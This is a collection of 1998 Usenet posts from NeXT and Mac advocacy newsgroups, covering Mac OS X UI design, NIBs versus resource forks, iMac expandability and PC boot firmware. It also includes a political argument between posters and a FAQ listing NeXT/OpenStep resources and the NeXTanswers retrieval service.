So, if you don't know what NIBs are and how the are handled by the AppKit and IB,
I would recommend that you go to Apple's devworld site and have a look at the
AppKit and IB documentation.
If you're a registered Apple developer and thus have access to RDR2 (you are,
aren't you ?) you should also have a look at the new NIB classes which are now
officially accessible by every application.
It's logic that you can provide faxing to every MacOS application as an afterthough,
but in Rhapsody and MacOS X it's part of the OS.
>--
>Regards,
>
>Joe Ragosta
>See the Complete Macintosh Advocacy Page
>http://www.dol.net/~Ragosta/complmac.htm
Regards,
Planitzer Dietmar
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Sat, 04 Jul 1998 21:43:18 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-0407982143180001@jchristie.halifaxcable.dal.ca>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se> <slrn6pj7r8.4ij.sal@panix3.panix.com> <3599AE58.5E54D75E@nstar.net> <6ne2sp$ev7$1@nnrp3.snfc21.pbi.net> <359AAD53.CCA85DF@exu.ericsson.se>
It seems odd to argue that the iMac may cause the return of the stagnation
of the Mac hardware market that existed during the 128k to plus period
when there wasn't one.
One could potentially attach 127 PC standard hardware devices to an iMac.
This is far more than any other previous Mac in history. (if we assume
that DIO, AIO, ADB, serial chaining, etc. aren't PC standard).
Speaking of the expandability of the iMac in general terms is pointless.
It's about what is, and is not, specifically upgradeable.
Apple has repeatedly stated that AGP is where their current video
technology is going. The current iMac may not (or may) have it but a
version will in very short order due to the fact that they are
standardizing everything in the hardware end. If not the immediately
shipping one look for upgradeable video by new year (when they plan to
revamp the iMac). This will be more for cost reduction than anything else
(it could also allow the to ship inferior video due to the knowledge it
can be upgraded).
The only expansion problem for consumers seems to be high speed storage
(i.e. non USB). Multiple drives don't look like they could fit in the
case. But, then again, the drive is swappable.
I guess the real problem is the built in monitor that isn't expandable.
That's too bad, maybe the case should be rubberized (yeah).
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <6nl6sh$1h2@newsb.netnews.att.com> <joe.ragosta-0407981410470001@elk41.dol.net>
In-Reply-To: <joe.ragosta-0407981410470001@elk41.dol.net>
From: not@my.address.net
Message-ID: <4Hxn1.2376$24.13944460@news.itd.umich.edu>
Date: Sat, 04 Jul 1998 22:05:52 GMT
NNTP-Posting-Date: Sat, 04 Jul 1998 18:05:52 EDT
On 07/04/98, Joe Ragosta wrote:
>
>I took a "History of Communism" course while in college. The professor
>clearly believed that communism was a better system than capitalism.
>
>During the first week, he was explaining Marx' theories. One of the major
>ones is the the only determinant of value is the amount of labor it
>includes. I gave him two examples:
>
>1. By that standard, a hand made, wobbly chair is more valuable than a
>high quality machine-made chair.
>
>2. Let's assume you have a superior craftsman who makes an extremely high
>quality chair. He's made so many of them that it doesn't take him that
>long to do one. Now, compare it to a high school shop class where some kid
>is learning to use tools for the first time and possibly has to restart
>the project a few times. Because he doesn't know what he's doing, and
>because he may not have the same quality of tools, it takes him longer.
>According to Marx, the student's chair is worth more than the craftsman's
>chair.
>
>The rest of Marx falls flat on its face once you extend the principles of
>these two examples.
Actually, what falls flat on its face is Marx's assumption about the homogeneity
of labour. (Although your first example doesn't really touch that point.) Even
Marx knew there was a problem with that assumption. At certain points (c.f.
Volume I of _Capital_) he tried to get round the problem by arguing that skill
itself is a commodity, and so value is determined both by the measure of labor
required to produce an item and also by the value of commodities, including
skill, expended in the course of its production. There are well known problems
with that response (easy exercise for the reader); the point is only that Marx
did have something to say on the topic. In a "History of Communism" course your
professor should have given you references.
Setting that aside, a College education should have made you (and most certainly
your professor) a more discriminating consumer of anything so large and complex
as Marxism. Is Marx's theory of history supposed to motivate his labor theory
of value, or vice versa? What remains of his theory of history if we reject the
labor theory of value? Was Marx committed to the labor theory of value as a
descriptive thesis that would explain relative prices and profits, or as a
normative claim about the rational allocation of resources in a planned economy?
Does the normative claim presuppose the descriptive claim? Against which
version of the claim, normative or descriptive, are your counterexamples
directed? Lot's of good essay topics there; no matter what your politics.
>I got an "A" in the course, but I think it really stuck in his craw. I
>know he didn't call on me the rest of the semester.
Where did you go to College? What department offered the course? Was it a
tenured member of faculty? A tenure track member? An adjunct lecturer? A
graduate student?
--
invert: umich.edu jdevlin
insert: shift "2"
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com> <359D0A6D.E3CE5D63@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se> <359D7E51.1721D116@alum.mit.edu> <359D9031.4C08DE53@nstar.net> <kehn1.2330$24.13444266@news.itd.umich.edu> <359DEF04.D0755976@nstar.net> <HEpn1.2362$24.13690996@news.itd.umich.edu> <359EA1F3.80D949AB@nstar.net>
In-Reply-To: <359EA1F3.80D949AB@nstar.net>
From: not@my.address.net
Message-ID: <6tyn1.2377$24.13968467@news.itd.umich.edu>
Date: Sat, 04 Jul 1998 22:59:14 GMT
NNTP-Posting-Date: Sat, 04 Jul 1998 18:59:14 EDT
On 07/04/98, Michael Peck wrote:
... quoting me ...
>> (1) We know what you think of "the whole `law' thing": To quote, "that's
>> definitely not the issue, unless you think like a lawyer. From a moral
>> standpoint, that is anything but the issue."
>
>The context being, of course, a suit in which the legitimacy of
>anti-trust legislation is being questioned.
>
What you have to say extends far beyond the question of anti-trust legislation.
You believe in something you call "the rule of law", by which you mean
>only legal enactments conforming to some accepted principles [...] will be
>enforceable.
It's a normative claim, right? And it's a completely general principle: The
law has no independent legitimacy; it has only that legitimacy which it derives
by conforming to "accepted principles". Anti-trust legislation was just a case
in point. So let's cut to the chase and talk about your "accepted principles",
one of which is that "liberty is worth fighting, even dieing for". Isn't that
why you bought the fancy European gun? (It was a Sig-Sauer, right?). Aren't
you prepared to use it to defend your liberty?
>> (3) And finally we know what you think of government: "By definition
>> governments restrict liberty". Moreover, it's "impossible to govern without
>> oppressing" the people. And we're not talking about oppression on a small
>> scale here -- we're talking about everything from sales taxes to sex
>> education in the public schools.
>
>Exactly so.
>
Well, then, what could possibly be stopping you from defending your liberty with
your fancy European gun? It can't be the law, because no law that protects an
oppressive government conforms to your "accepted principles". And by
definition, governments are oppressive.
>Waiting for you to put more words into my mouth
They're your words.
--
invert: umich.edu jdevlin
insert: shift "2"
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998070423125700.TAA26763@ladder03.news.aol.com>
Date: 4 Jul 1998 23:12:57 GMT
Organization: AOL http://www.aol.com
References: <dave.pl-0507980015500001@dialup180.salzburg20.salzburg.at.eu.net>
Here's a question directly tied to the matter of UI and faxing/printing:
Has Apple done away with the Chooser for Rhapsody and Mac OS X?
In NeXTstep, a print panel includes a list of available printers (the panel can
be enlarged if there're so many that one has to scroll), as well as separate
boxes for save, fax, etc. Very nice.
Also, just an observation as regards how pervasive drag and drop is in the NeXT
UI (I only just learned this myself) one can drag files to file panels to
provide a path/filename.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <3088899006434@digifix.com>
Date: 5 Jul 1998 03:48:51 GMT
Organization: Digital Fix Development
Message-ID: <668899611234@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Sat, 04 Jul 1998 22:44:38 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359EF6A6.4633689D@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com> <359D0A6D.E3CE5D63@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se> <359D7E51.1721D116@alum.mit.edu> <359D9031.4C08DE53@nstar.net> <kehn1.2330$24.13444266@news.itd.umich.edu> <359DEF04.D0755976@nstar.net> <HEpn1.2362$24.13690996@news.itd.umich.edu> <359EA1F3.80D949AB@nstar.net> <6tyn1.2377$24.13968467@news.itd.umich.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 5 Jul 1998 03:49:48 GMT
not@my.address.net wrote:
> It's a normative claim, right? And it's a completely general principle: The
> law has no independent legitimacy; it has only that legitimacy which it derives
> by conforming to "accepted principles". Anti-trust legislation was just a case
> in point. So let's cut to the chase and talk about your "accepted principles",
> one of which is that "liberty is worth fighting, even dieing for". Isn't that
> why you bought the fancy European gun? (It was a Sig-Sauer, right?). Aren't
> you prepared to use it to defend your liberty?
Running out of wind already? I thought we were talking about politics,
jdevlin. Smarmy remarks about a "fancy European guns" make you sound
silly.
> Well, then, what could possibly be stopping you from defending your liberty with
> your fancy European gun? It can't be the law, because no law that protects an
> oppressive government conforms to your "accepted principles".
On what do you base the legitimacy of that statement? What do you know
about my principles?
> And by
> definition, governments are oppressive.
>
> >Waiting for you to put more words into my mouth
>
> They're your words.
Mmmmm, my words, as you so aptly put it, are a matter of public record.
If you have any confusion about them, I suggest DejaNews.
MJP
From: tjhanson@ix.netcom.com (Tim Hanson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 05 Jul 1998 02:59:32 GMT
Organization: Men Friendly
Message-ID: <359feb8c.19663729@nntp.netcruiser>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <35cb658a.49037902@news.supernews.com> <rmcassid-2406980925040001@dante.eng.uci.edu> <3592ee9e.15806083@news.supernews.com> <359969E8.CDAD2E1A@geocities.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Jeff Read <bitwize@geocities.com> wrote:
>T. Max Devlin wrote:
>
>> The IBM/BIOS/Intel open architecture industry standards hardware does
>> NOT require MS-DOS to operate; any other OS compiled for the chip set
>> will do. MS does not own the PC platform, no matter what Intel says.
>> Mac does own the Mac platform.
>
>This may be the case today. However Microsoft and Intel are currently
>drawing up PC specifications such as PC97 and PC98. The Windows
>operating system is *specifically mentioned*. I figure maybe another
>year or two before Intel-based motherboards with firmware onboard
>requiring the user to boot Windows hit the market.
>
I'll bet it's too late. If Wintel pulls something like that, Cyrix, AMD,
and Motorola will have a field day servicing Linux customers.We simply
can't forget the growth rate of Linux advocates.
Tim Hanson
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com> <359D0A6D.E3CE5D63@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se> <359D7E51.1721D116@alum.mit.edu> <359D9031.4C08DE53@nstar.net> <kehn1.2330$24.13444266@news.itd.umich.edu> <359DEF04.D0755976@nstar.net> <HEpn1.2362$24.13690996@news.itd.umich.edu> <359EA1F3.80D949AB@nstar.net> <6tyn1.2377$24.13968467@news.itd.umich.edu> <359EF6A6.4633689D@nstar.net>
In-Reply-To: <359EF6A6.4633689D@nstar.net>
From: not@my.address.net
Message-ID: <VOIn1.2425$24.14242743@news.itd.umich.edu>
Date: Sun, 05 Jul 1998 10:45:09 GMT
NNTP-Posting-Date: Sun, 05 Jul 1998 06:45:09 EDT
On 07/04/98, Michael Peck wrote:
>What do you know about my principles?
>
What you tell me is enough ...
>> And by definition, governments are oppressive.
>>
>> >Waiting for you to put more words into my mouth
>>
>> They're your words.
>
>Mmmmm, my words, as you so aptly put it, are a matter of public record.
Yes, that's why I quote you so often, as when you say "It's impossible to govern
without oppressing" and "By definition governments restrict liberty".
We also know your position on the democratic process. Legislation is "made up
from thin air" unless it conforms to "proper jurisprudence" and "accepted
principles". One of your "accepted principles" is that the "law should never
suspend the liberty of one to extend the liberty of another". But by definition
the government restricts liberty. So the government and the laws that protect
it fail to conform to your "accepted principles".
You've also told us that "liberty is worth fighting, even dieing for". And you
made mention of your 9mm Sig-Sauer -- that's how you intend to defend your
liberty.
So the government is restricting your liberty; moreover it can't be reformed,
because it does so by definition. And liberty is worth fighting even dieing
for; indeed you're prepared to use your Sig-Sauer in the cause.
You've been very clear on each of these points. I can only assume that you now
protest out of modesty.
--
invert: umich.edu jdevlin
insert: shift "2"
Date: Sun, 05 Jul 1998 07:45:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-0507980745550001@elk36.dol.net>
References: <dave.pl-0507980015500001@dialup180.salzburg20.salzburg.at.eu.net>
In article
<dave.pl-0507980015500001@dialup180.salzburg20.salzburg.at.eu.net>,
"Dietmar Planitzer" <dave.pl@ping.at> wrote:
> In article <joe.ragosta-0407980703330001@elk91.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> >
> >Nonsense.
> >
> >I don't understand everything you're saying, so I can't point out _where_
> >you're wrong, but there are third party Mac apps which do exactly what you
> >just described. You can fax from any application. Case closed.
> >
>
> Joe, if you don't understand what I've posted, why do you even think that
> I'm wrong ?
Because the thread said that you can't have a menu to fax from every
single program in MacOS. I know that's wrong because I've used such a
program.
>
> Obviously you completly misunderstood my post. It was not about faxing per se.
> It was about NIBs and MacOS resources, because this thread is about the
MacOS X
> UI and not about faxing in the traditional MacOS, at least I thought so.
Then you switched the context. My earlier response was a direct reply to
someone who said that it was impossible to create a program to fax from
any other program. I stated that this was in error. If the context of the
thread has changed, I apologize.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sun, 05 Jul 1998 19:28:16 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-0507981928190001@elk40.dol.net>
References: <dave.pl-0507980015500001@dialup180.salzburg20.salzburg.at.eu.net> <joe.ragosta-0507980745550001@elk36.dol.net> <359fbf31.0@nnrp1.news.uk.psi.net>
In article <359fbf31.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
(Richard Frith-Macdonald) wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> >In article
> ><dave.pl-0507980015500001@dialup180.salzburg20.salzburg.at.eu.net>,
> >"Dietmar Planitzer" <dave.pl@ping.at> wrote:
> >
> >> In article <joe.ragosta-0407980703330001@elk91.dol.net>,
> >joe.ragosta@dol.net (Joe Ragosta) wrote:
> >> Obviously you completly misunderstood my post. It was not about
faxing per se.
> >> It was about NIBs and MacOS resources, because this thread is about the
> >MacOS X
> >> UI and not about faxing in the traditional MacOS, at least I thought so.
> >
> >Then you switched the context. My earlier response was a direct reply to
> >someone who said that it was impossible to create a program to fax from
> >any other program. I stated that this was in error. If the context of the
> >thread has changed, I apologize.
> >
>
> Nope - you missed the context - he was saying that it was impossible to
do with
> resource forks (resource forks versus bundles/nibs). The fact that it
can be done
> some other way is irrelevant to the argument that resource forks are not an
> adequate substitute for bundles and nibs.
>
> If on the otyher hand, you know that MacOS applications can provide
things like fax
> services simply by changing data in resource forks, then he's wrong...
but you haven't
> shown that.
Then it's a silly argument.
So Mac users can't accomplish something in the particular way that you
can. Who cares? All I care about is what I can do--not what the
programmers need to do to enable me to do it.
I personally believe that the Yellow Box tools sound great and Rhapsody
sounds like a great OS. But your argument does nothing to establish that.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
From: petrich@netcom.com (Loren Petrich)
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <petrichEvnpF1.IAo@netcom.com>
Organization: Netcom
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <3592ee9e.15806083@news.supernews.com> <359969E8.CDAD2E1A@geocities.com> <359feb8c.19663729@nntp.netcruiser>
Date: Mon, 6 Jul 1998 04:49:49 GMT
Sender: petrich@netcom13.netcom.com
In article <359feb8c.19663729@nntp.netcruiser>,
Tim Hanson <tjhanson@ix.netcom.com> wrote:
>Jeff Read <bitwize@geocities.com> wrote:
>>This may be the case today. However Microsoft and Intel are currently
>>drawing up PC specifications such as PC97 and PC98. The Windows
>>operating system is *specifically mentioned*. I figure maybe another
>>year or two before Intel-based motherboards with firmware onboard
>>requiring the user to boot Windows hit the market.
A great scam. It would seem that M$ is imitating some of Apple's
worst aspects. In my experience (a PowerTower Pro with the BeOS
installed), Apple's firmware will look for an instance of the MacOS to
boot, though when the MacOS gets booted, it can run some extension that
replaces it with some other OS. I know that that's true of the BeOS -- is
it also true of Macintosh Linuxes and the like? And has anyone succeeded
in writing an impersonation of the MacOS that can fool Apple's firmware?
>I'll bet it's too late. If Wintel pulls something like that, Cyrix, AMD,
>and Motorola will have a field day servicing Linux customers.We simply
>can't forget the growth rate of Linux advocates.
And the lead time before such a spec is finalized will likely
give many opportunities to howl over this anticompetitive action.
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 6 Jul 1998 12:13:59 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6nqf27$apl@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.co <35A00B2F.4CBF5DDC@nstar.net>
Originator: gupta@tlctest
Michael Peck <mjpeck@nstar.net> wrote:
>
>What does thermal equilibrium have to do with what I said? The laws of
> [incorrect statements about thermal equilibrium and physics deleted.]
You haven't been paying attention to your physics classes.
***
There is a tremendous amount of evidence regarding evolution; more so
than for all theories of macro-economics, combined :-).
I take this as an indication of the amount of evidence that will be
**insufficient** to change somebody's mind -- there is no way that
the required amount of information could be put onto the USENET.
I advise one and all that further argument is futile.
-arun gupta
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 6 Jul 1998 10:22:43 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980706101401.5448A-100000@ux9.cso.uiuc.edu>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <359feb8c.19663729@nntp.netcruiser> <petrichEvnpF1.IAo@netcom.com> <slrn6q1l3g.a2v.jason@jhste1.dyn.ml.org> <petrichEvoHHp.G8M@netcom.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <petrichEvoHHp.G8M@netcom.com>
On Mon, 6 Jul 1998, Loren Petrich wrote:
> In article <slrn6q1l3g.a2v.jason@jhste1.dyn.ml.org>,
> Jason S. <jason@jhste1.dyn.ml.org> wrote:
> >Loren Petrich posted the following to comp.sys.mac.advocacy:
>
> [On some upcoming PeeCee standard featuring firmware that would
> look for Windoze...]
>
> [me on the BeOS needing the MacOS to boot first...]
>
> >No. Open Firmware can be told what device to boot from. ...
>
> So you never see any MacOS displays while booting LinuxPPC? Not
> even that initial smiley-faced early Macintosh?
Nope. OpenFirmware normally boots from the device /APPL,ROM. This is what
starts up the Mac OS. The ROM is what does the startup checks that
result in either a smiley or frowny faced Mac.
